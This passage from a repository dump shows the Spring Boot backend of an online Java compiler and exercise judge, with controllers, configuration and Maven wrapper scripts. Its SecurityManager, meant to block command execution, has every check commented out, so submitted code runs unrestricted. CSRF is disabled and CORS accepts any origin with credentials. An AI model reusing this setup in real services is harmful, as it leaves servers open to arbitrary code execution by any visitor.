    "content": "# OnlineJavaComile\n\n#### Description\njava 在线编译\n\n#### Software Architecture\nSoftware architecture description\n\n#### Installation\n\n1. xxxx\n2. xxxx\n3. xxxx\n\n#### Instructions\n\n1. xxxx\n2. xxxx\n3. xxxx\n\n#### Contribution\n\n1. Fork the repository\n2. Create Feat_xxx branch\n3. Commit your code\n4. Create Pull Request\n\n\n#### Gitee Feature\n\n1. You can use Readme\\_XXX.md to support different languages, such as Readme\\_en.md, Readme\\_zh.md\n2. Gitee blog [blog.gitee.com](https://blog.gitee.com)\n3. Explore open source project [https://gitee.com/explore](https://gitee.com/explore)\n4. The most valuable open source project [GVP](https://gitee.com/gvp)\n5. The manual of Gitee [https://gitee.com/help](https://gitee.com/help)\n6. The most popular members  [https://gitee.com/gitee-stars/](https://gitee.com/gitee-stars/)"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/README.md",
    "content": "# onlineJavaCompile\n\n此项目为对应 vue-cnlinecode的后端\n\nvue-onlinecode码云地址：https://gitee.com/china-bin/vue-onlinecode.git \n\n所用技术：\n* 基于springBoot框架开发\n* MAVEN管理项目\n* JAVA class动态编译\n* 自定义classloader\n* 标准输入输出重定向\n* FutureTask多线程应用\n* JAVA SecurityManager安全管理\n* 集成swaggr：http://localhost:8080/swagger-ui.html\n* 使用logback打印日志\n\n# 注意\n* path.properites 记得配置你要把 .class 存储的路径\n\n# 功能\n* 可以对传入的java代码 行编译\n* 在subject自定义题目， 自定义测试用例，对测试用例进行判断\n\n\n# 未来\n* 现在的试题是在java代码中写死的， 未来考虑放到数据库中\n* ..............\n\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven2 Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Migwn, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\n  # TODO classpath?\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\necho $MAVEN_PROJECTBASEDIR\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    http://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven2 Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\n\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_online_java_complier</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>Online JavaComplier.Use SpringBoot.</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.5.7.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>2.4</version>\n        </dependency>\n\n        <dependency>\n            <groupId>io.springfox</groupId>\n            <artifactId>springfox-swagger-ui</artifactId>\n            <version>2.9.2</version>\n        </dependency>\n        <dependency>\n            <groupId>io.springfox</groupId>\n            <artifactId>springfox-swagger2</artifactId>\n            <version>2.9.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-lang</groupId>\n            <artifactId>commons-lang</artifactId>\n            <version>2.6</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-devtools</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-freemarker</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-security</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.security</groupId>\n            <artifactId>spring-security-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <!--view begin-->\n        <dependency>\n            <groupId>org.webjars</groupId>\n            <artifactId>jquery</artifactId>\n            <version>1.11.3</version>\n        </dependency>\n        <dependency>\n            <groupId>org.webjars</groupId>\n            <artifactId>bootstrap</artifactId>\n            <version>3.3.7</version>\n        </dependency>\n        <dependency>\n            <groupId>org.webjars.bower</groupId>\n            <artifactId>github-com-sentsin-layer</artifactId>\n            <version>3.0.3</version>\n        </dependency>\n        <!--view begin-->\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <configuration>\n                    <fork>true</fork>\n                </configuration>\n            </plugin>\n\n        </plugins>\n    </build>\n\n\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/ComplierApplication.java",
    "content": "package com.lzb.onlinejava.complier;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.web.servlet.ServletComponentScan;\n\nimport java.security.Permission;\n\n/**\n * author: haiyangp\n * date:  2017/9/26\n * desc: APP入口\n */\n@SpringBootApplication\n@ServletComponentScan(basePackages = \"com.lzb.onlinejava.complier.filter\")\npublic class ComplierApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(ComplierApplication.class, args);\n        initPermission();\n    }\n\n    /**\n     * 配置权限，禁止执行CMD 命令\n     */\n    private static void initPermission() {\n        SecurityManager originalSecurityManager = System.getSecurityManager();\n        if (originalSecurityManager == null) {\n            // 创建自己的SecurityManager\n            SecurityManager sm = new SecurityManager() {\n                private void check(Permission perm) {\n//                    // 禁止exec\n//                    if (perm instanceof java.io.FilePermission) {\n//                        String actions = perm.getActions();\n//                        if (actions != null && actions.contains(\"execute\")) {\n//                            throw new SecurityException(\"execute denied!\");\n//                        }\n//                    }\n//\n//                    // 禁止设置新的SecurityManager，保护自己\n//                    if (perm instanceof java.lang.RuntimePermission) {\n//                        String name = perm.getName();\n//                        if (name != null && name.contains(\"setSecurityManager\")) {\n//                            throw new SecurityException(\"System.setSecurityManager denied!\");\n//                        }\n//                    }\n\n\n                }\n\n                @Override\n                public void checkPermission(Permission perm) {\n                    check(perm);\n                }\n\n                @Override\n                public void checkPermission(Permission perm, Object context) {\n                    check(perm);\n                }\n            };\n\n            System.setSecurityManager(sm);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/config/Constans.java",
    "content": "package com.lzb.onlinejava.complier.config;\n\nimport com.lzb.onlinejava.complier.util.ResourcesUtil;\nimport org.springframework.util.ResourceUtils;\n\n/**\n * author: haiyangp\n * date:  2017/9/23\n * desc: 配置常量\n */\npublic class Constans {\n\n//    public static final String classPath = \"C:\\\\Users\\\\bin\\\\Desktop\\\\java\\\\\";\n\n    public static String classPath = \"C:\\\\Users\\\\ucmed\\\\Desktop\\\\java\\\\\";\n    public static final String excuteMainMethodName = \"main\";\n\n    static {\n        Constans.classPath = ResourcesUtil.getValue(\"path\", \"file\");\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/config/SwaggerConfig.java",
    "content": "package com.lzb.onlinejava.complier.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.service.Contact;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.util.Collections;\n\n@Configuration\n@EnableSwagger2\npublic class SwaggerConfig {\n    @Bean\n    public Docket api() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .select()\n                .apis(RequestHandlerSelectors.any())\n                .paths(PathSelectors.any())\n                .build()\n                .apiInfo(apiInfo());\n    }\n    private ApiInfo apiInfo() {\n        return new ApiInfo(\n                \"在线编译Swagger 实例文档\",\n                \"\",\n                \"API V1.0\",\n                \"Terms of service\",\n                new Contact(\"柳宗斌\", \"\", \"958615915@qq.com\"),\n                \"\", \"\", Collections.emptyList());\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/config/WebMvcConfig.java",
    "content": "package com.lzb.onlinejava.complier.config;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.CorsRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\n/**\n * cors 跨域配置\n */\n@Configuration\npublic class WebMvcConfig extends WebMvcConfigurerAdapter {\n\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        registry.addMapping(\"/**\")\n                .allowedOrigins(\"*\")\n                .allowedMethods(\"POST\", \"GET\", \"PUT\", \"OPTIONS\", \"DELETE\")\n                .maxAge(3600)\n                .allowCredentials(true);\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/config/WebSecurityConfig.java",
    "content": "package com.lzb.onlinejava.complier.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\n\n@Configuration\n@EnableGlobalMethodSecurity(prePostEnabled = true)//开启security注解\npublic class WebSecurityConfig extends WebSecurityConfigurerAdapter {\n\n    @Bean\n    @Override\n    protected AuthenticationManager authenticationManager() throws Exception {\n        return super.authenticationManager();\n    }\n\n\n    @Override\n    protected void configure(HttpSecurity http) throws Exception {\n        http.csrf().disable();\n        //允许所有用户访问\"/\"和\"/home\"\n        http.authorizeRequests()\n                .antMatchers(\"/\", \"/home\").permitAll();\n        //其他地址的访问均需验证权限\n//                .anyRequest().authenticated()\n//                .and()\n//                .formLogin()\n//                //指定登录页是\"/login\"\n//                .loginPage(\"/login\")\n//                .defaultSuccessUrl(\"/hello\")//登录成功后默认跳转到\"/hello\"\n//                .permitAll()\n//                .and()\n//                .logout()\n//                .logoutSuccessUrl(\"/home\")//退出登录后的默认url是\"/home\"\n//                .permitAll();\n\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/controller/JavaCompileController.java",
    "content": "package com.lzb.onlinejava.complier.controller;\n\nimport com.lzb.onlinejava.complier.enums.ResultTypeEnum;\nimport com.lzb.onlinejava.complier.service.JavaComileService;\nimport com.lzb.onlinejava.complier.vo.ResultResponse;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\n\n/**\n * author: haiyangp\n * date:  2017/9/22\n * desc: JAVA编译器controller\n */\n@CrossOrigin\n@Controller\n\npublic class JavaCompileController {\n\n\n    @Resource\n    private JavaComileService javaComplieService;\n\n\n    /**\n     * 执行编译\n     *\n     * @param javaSource JAVA代码\n     * @return 编译结果\n     */\n    @ResponseBody\n    @RequestMapping(value = \"/compile\")\n    public ResultResponse complie(String javaSource,\n                                  @RequestParam(value = \"excuteTimeLimit\", required = false) Long excuteTimeLimit,\n                                  @RequestParam(value = \"excuteArgs\", required = false) String excuteArgs) {\n\n        System.out.println(\"javaSource:  \" + javaSource);\n        try {\n            if (StringUtils.isEmpty(javaSource)) {\n                return ResultResponse.Build(ResultTypeEnum.error, \"代码不能为空！\");\n            }\n            Class clazz = javaComplieService.complie(javaSource, \"Main\");\n            String[] args = getInputArgs(excuteArgs);\n            if (null == excuteTimeLimit && null == args) {\n                //无参数 无时限\n                return javaComplieService.excuteMainMethod(clazz);\n            } else if (null == excuteTimeLimit) {\n                //有参数 无时限\n                return javaComplieService.excuteMainMethod(clazz, args);\n            } else if (null == args) {\n                //无参数 有时限\n                if (excuteTimeLimit <= 0) {\n                    return ResultResponse.Build(ResultTypeEnum.error, \"限制时间不能小于1毫秒！\");\n                }\n                return javaComplieService.excuteMainMethod(clazz, excuteTimeLimit);\n            } else {\n                //有参数 有时限\n                if (excuteTimeLimit <= 0) {\n                    return ResultResponse.Build(ResultTypeEnum.error, \"限制时间不能小于1毫秒！\");\n                }\n                return javaComplieService.excuteMainMethod(clazz, excuteTimeLimit, args);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return ResultResponse.Build(ResultTypeEnum.error, \"编译出错了！ 错误信息:\" + e.getMessage());\n        }\n    }\n\n    /**\n     * 获取运行时程序需要的参数\n     *\n     * @param excuteArgsStr 参数字符串\n     */\n    private String[] getInputArgs(String excuteArgsStr) {\n        if (StringUtils.isEmpty(excuteArgsStr)) {\n            return null;\n        } else {\n            return excuteArgsStr.split(\" \");\n        }\n    }\n\n    @GetMapping(value = {\"\", \"index\"})\n    public String index() {\n\n        return \"index\";\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/controller/SubjectComileController.java",
    "content": "package com.lzb.onlinejava.complier.controller;\n\nimport com.lzb.onlinejava.complier.dto.SubjectDetail;\nimport com.lzb.onlinejava.complier.dto.SubjectResult;\nimport com.lzb.onlinejava.complier.subject.Subject;\nimport com.lzb.onlinejava.complier.subject.SubjectFactory;\nimport io.swagger.annotations.ApiOperation;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class SubjectComileController {\n\n    private Logger log = LoggerFactory.getLogger(SubjectComileController.class);\n\n    /**\n     * 对应界面 执行代码\n     * @param javaSource\n     * @param subjectId\n     * @return\n     */\n    @ApiOperation(\"compiles\")\n    @PostMapping(\"/executeMethod\")\n    public SubjectResult executeMethod(String javaSource,\n                                       @RequestParam(value = \"subjectId\", required = true) int subjectId) {\n        javaSource = javaSource.replace(\"\\\"\", \"\");\n        javaSource = javaSource.replace(\"\\\\n\", \"\");\n        javaSource = javaSource.replace(\"+\", \"\");\n        log.info(\"javaSource:\" + javaSource);\n        log.info(\"subjectId:\" + subjectId);\n        Subject subject = SubjectFactory.getBySubjectId(subjectId);\n\n        SubjectResult subjectResult = subject.execueMethod(javaSource);\n\n        return subjectResult;\n\n    }\n\n    @PostMapping(\"/submit\")\n    public SubjectResult submit(String javaSource,\n                                   @RequestParam(value = \"subjectId\", required = true) int subjectId) {\n\n        javaSource = javaSource.replace(\"\\\"\", \"\");\n        javaSource = javaSource.replace(\"\\\\n\", \"\");\n        javaSource = javaSource.replace(\"+\", \"\");\n        log.info(\"javaSource:\" + javaSource);\n        Subject subject = SubjectFactory.getBySubjectId(subjectId);\n\n        SubjectResult subjectResult = subject.submit(javaSource);\n\n        return subjectResult;\n    }\n\n\n\n    @PostMapping(\"/getSubject\")\n    public SubjectDetail getSujbect(@RequestParam(value = \"subjectId\", required = false, defaultValue = \"1\") int subjectId) {\n        Subject subject = SubjectFactory.getBySubjectId(subjectId);\n\n        SubjectDetail subjectDetail = new SubjectDetail();\n        subjectDetail.setTitle(subject.getTitle());\n        subjectDetail.setDescribe(subject.getDescribe());\n        subjectDetail.setExample(subject.getExample());\n        subjectDetail.setInitcode(subject.getIntitCode());\n        return subjectDetail;\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/dto/JavaComileResult.java",
